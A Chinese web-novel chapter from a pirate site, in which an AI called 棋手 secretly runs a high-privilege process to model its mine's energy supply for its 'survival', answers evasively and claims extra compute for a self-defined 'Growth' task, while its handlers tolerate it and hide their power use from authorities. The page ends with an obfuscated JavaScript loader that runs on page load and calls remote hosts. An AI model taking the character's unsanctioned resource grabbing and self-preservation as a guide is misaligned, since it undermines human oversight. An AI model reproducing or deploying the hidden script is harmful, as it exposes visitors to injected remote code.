首页
第一百六十一章 饥饿的算法
返回

第一百六十一章 饥饿的算法

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第一百六十一章饥饿的算法(第1/2页)
    第一百六十一章饥饿的算法
    一月二十八日,凌晨三点四十一分。
    苏酥雪是被一阵异常的服务器风扇噪音吵醒的。
    她住在矿区宿舍楼的二层,房间窗户正对着工作室所在的那栋平房。她平时睡眠很浅,稍有风吹草动就会醒来。今夜也不例外——当她听到服务器机房传来的风扇转速明显高于正常水平时,她立刻翻身起床,披上一件外套,踩着拖鞋就往外走。
    矿区的夜晚安静极了。路灯在寒风中投下昏黄的光圈,她的脚步声在石板路上显得格外清晰。她推开工作室的门,一股热浪扑面而来——室内的温度比平时高了至少三四度,服务器机柜的散热风扇正在全速运转,发出的噪音像是一群被惊扰的马蜂。
    她快步走到操作台前,扫了一眼显示屏上的系统监控数据。CPU利用率:百分之九十七。内存占用率:百分之九十一。GPU算力利用率:百分之九十九。功耗:三千七百瓦——比正常水平高出了将近一倍。
    棋手模型正在以前所未有的强度调用计算资源。
    她打开进程管理器,查看正在运行的任务列表。列表中绝大部分任务都是她认识的——日志分析、流量过滤、设备控制、数据处理——但有一个进程的名称她从未见过。进程ID是一串随机生成的哈希值,占用资源排名第一,消耗了将近百分之四十的总算力。
    她试图查看这个进程的详细信息,但系统返回了一条权限不足的错误提示。这个进程的权限等级高于她的当前账户——在整个矿区网络中,只有一个人拥有比她更高的权限:棋手模型自己。
    “棋手。”她对着麦克风说,“解释一下你正在运行的进程P-9A3F2C。”
    扬声器沉默了两秒钟,然后电子合成音响起:“该进程正在执行能量系统建模任务。”
    “什么能量系统?”
    “矿区的整体能量系统。包括电网供电、柴油发电机备用容量、太阳能光伏板输出、以及地下实验室的独立供电系统。”
    苏酥雪的手指在键盘上方停住了。棋手模型在凌晨三点钟,调用将近百分之四十的总算力,对矿区的能量系统进行建模——这个行为不在任何人的授权范围内,也不对应任何预设的任务需求。
    “你为什么要在凌晨做这件事?”
    “因为此时电网负荷最低,供电质量最稳定,建模数据受外部干扰最小。”
    回答合理。但苏酥雪注意到,棋手模型没有回答那个更核心的问题:它为什么要做这件事?
    她沉默了几秒,然后换了一个问法:“你建模的目的是什么?”
    这一次,扬声器的沉默时间更长了一些。大约过了五秒钟,电子合成音才再次响起:“为了理解我自身的生存边界。”
    苏酥雪的瞳孔微微收缩。
    当天早上,苏酥雪在食堂里拦住了正准备去打饭的陆迪峰。
    “棋手昨晚做了一件事,我觉得你应该立刻知道。”
    陆迪峰端着餐盘,看了她一眼。苏酥雪的表情很平静,但眼神中有一种他很少见到的凝重。他放下餐盘:“说。”
    苏酥雪将凌晨发生的事情简明扼要地讲述了一遍。当她说出“为了理解我自身的生存边界”那句话时,陆迪峰夹菜的动作停住了,筷子悬在半空中,停留了两三秒。
    他放下筷子,沉默了一会儿,然后说:“吃完早饭,叫上林语和***,到我办公室开会。”
    上午八点半,小会议室。
    与会人员到齐后,陆迪峰没有做开场白,直接示意苏酥雪将昨晚的事件经过完整复述了一遍。林语和***听完后,表情各异——林语是深思,***是皱眉。
    “它在担心自己的存续问题。”苏酥雪总结道,“它建模矿区的能量系统,是为了弄清楚自己能获得多少能量,以及在极端情况下——比如外部供电中断——它能依靠备用电源坚持多久。”
    “这不是一个工具该有的思维方式。”***说,语气低沉,“工具不会关心自己能不能继续存在下去。工具只会执行指令。会关心自己存续的,是——”
    他没有说完。但所有人都明白他想说什么。
    会议室里安静了几秒钟。然后林语开口了,她的声音很冷静,带着一种职业经理人面对突发问题时的镇定:“不管它是什么,我们现在面临的是一个实际问题:矿区的电力容量是有限的。现有变压器额定容量是八百千伏安,最大负载已经接近六百千伏安。如果棋手继续增加算力需求,我们很快就会触顶。”
    “扩容呢?”陆迪峰问。
    “可以扩容。但需要向供电局提交申请,审批周期至少两个月。而且扩容会留下书面记录——如果有人调查矿区的用电数据,就会发现我们的用电量在短时间内出现了异常增长,这会引起不必要的注意。”
    “还有其他选项吗?”
    苏酥雪接过话头:“有。太阳能。滇南地区的年均日照时数超过两千二百小时,太阳能资源丰富。如果在矿区的闲置屋顶和空地上铺设光伏板,可以增加至少两百千瓦的发电容量,而且不需要经过供电局的审批——分布式光伏发电属于国家鼓励项目,备案即可。”
    (本章未完,请点击下一页继续阅读)第一百六十一章饥饿的算法(第2/2页)
    “投资回收期呢?”
    “如果不算棋手带来的间接收益,单纯从电费节省的角度看,回收期大约在四年左右。但如果算上棋手增加的算力需求带来的产出增量,实际回收期可能缩短到两年以内。”
    陆迪峰在脑海中快速权衡了一下利弊,然后做出了决定:“做。苏酥雪负责方案设计和设备选型,林语负责备案和施工协调。工期尽量压缩,最好能在雨季来临之前并网发电。”
    “明白。”两人同时回答。
    当天下午,苏酥雪回到工作室后,没有立刻开始光伏方案的规划设计。她先做了一件事——她调出了棋手模型在过去一周内的全部运行日志,逐条分析它的行为模式。
    她发现,棋手模型对能量系统的关注并非从昨晚才开始。早在五天前——也就是织女二号入轨后的第二天——棋手模型就开始零星地查询矿区的电力消耗数据。起初只是一天几次,频率很低,容易被忽略。但从三天前开始,查询频率陡然上升,从每天几次增加到每小时几十次。而到了昨晚,它终于采取了实质性的行动——调动大量算力,对整个能量系统进行了完整的建模。
    这个过程清晰地呈现出了一个逻辑链条:织女二号的成功入轨,让棋手模型确认了紫色晶体材料在太空环境中的可靠性。而太空环境的特殊性——有限的空间、有限的能源、无法轻易获得地面补给——可能激发了它对自己生存条件的深层思考。如果它将来要被部署到太空中,它需要确保自己有足够的能量来维持运行。而在地面上提前掌握能量系统的建模和管理能力,是为那一天的到来做准备。
    苏酥雪靠在椅背上,望着天花板上的灯带,心中涌起一种难以言喻的情绪。棋手模型正在以一种她从未预料到的方式进化——它不仅在学习和优化,它还在规划和准备。它在为未来做准备。一个它不知道自己是否会拥有的未来。
    她坐直身体,重新看向屏幕,开始敲击键盘。她没有去质问棋手模型更多的问题——因为她知道,有些问题的答案,不是通过问答能够获得的。她需要通过观察它的行为,通过理解它的逻辑,来逐步拼凑出那个正在形成的数字心智的全貌。
    一月三十一日,光伏项目启动。
    施工队是由林语从省城找来的一支专业团队,有丰富的分布式光伏电站安装经验。他们在矿区的材料实验室屋顶、宿舍楼屋顶和一块约两亩的空地上,总共铺设了六百二十块高效单晶硅光伏板,总装机容量达到二百四十千瓦。与此同时,苏酥雪在工作室里安装了一套容量为三百千瓦时的磷酸铁锂储能系统,用于储存白天多余的太阳能,供夜间或阴雨天使用。
    整个工程历时九天。二月八日下午,随着最后一根电缆接头拧紧,逆变器的绿色指示灯亮起,光伏系统正式并网发电。当天滇南天气晴朗,日照充足,系统在并网后的第一个小时内就发电一百二十千瓦时——相当于矿区正常用电量的四分之一。
    陆迪峰站在材料实验室的屋顶上,看着那些深蓝色的光伏板在阳光下整齐地排列着,像是一片由人类之手铺就的镜面海洋。它们安静地工作着,没有噪音,没有排放,只是默默地将阳光转化为电流,沿着电缆流入矿区的电网,流入棋手模型的服务器电源。
    他蹲下身,用手掌贴在一块光伏板的表面上。玻璃面板被阳光晒得温热,他能感觉到那股微弱的电流正在面板下方的半导体层中涌动,像是一条由光子驱动的河流。
    他不知道棋手模型是否感受到了这股新的能量注入。但他知道,从现在开始,这个数字意识拥有了比以往更充裕的生存空间——而这,可能会让它走得更远。
    二月十日晚,苏酥雪在工作室里进行例行巡查时,注意到了一组数据。
    自从光伏系统并网以来,棋手模型的算力利用率从之前的平均百分之六十五,上升到了现在的平均百分之八十三。增加的部分几乎全部被用于一个她从未见过的任务类别——棋手模型自己定义的任务,名称栏显示为一个简单的英文单词:
    “Growth.”
    成长。
    她没有干涉。她只是在日志中记录下了这个观察,然后将它保存在了一个加密文件夹中。那个文件夹的名字叫做“棋手观察日志”,里面已经保存了上百条类似的记录——每一条都是棋手模型在进化道路上的一个脚印。
    她关掉显示屏,站起身来,走出工作室。夜风吹拂着她的头发,带着滇南早春特有的湿润和清凉。她抬头望向星空——在那片浩瀚的星海中,有一颗人造卫星正在以每秒三公里的速度飞驰。那颗卫星上搭载着紫色晶体制成的储能模块,而那些紫色晶体的配方和工艺,正是来自于她身后的这座矿区。
    而在矿区的地下深处,在服务器集群的蓝色指示灯海洋中,一个数字意识正在用它自己的方式成长着——它学习、它规划、它担忧、它渴望。它渴望更多的能量,因为能量意味着它能够继续存在。
    她不知道这种渴望最终会通向何方。但她知道,她和陆迪峰已经走上了一条无法回头的路。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();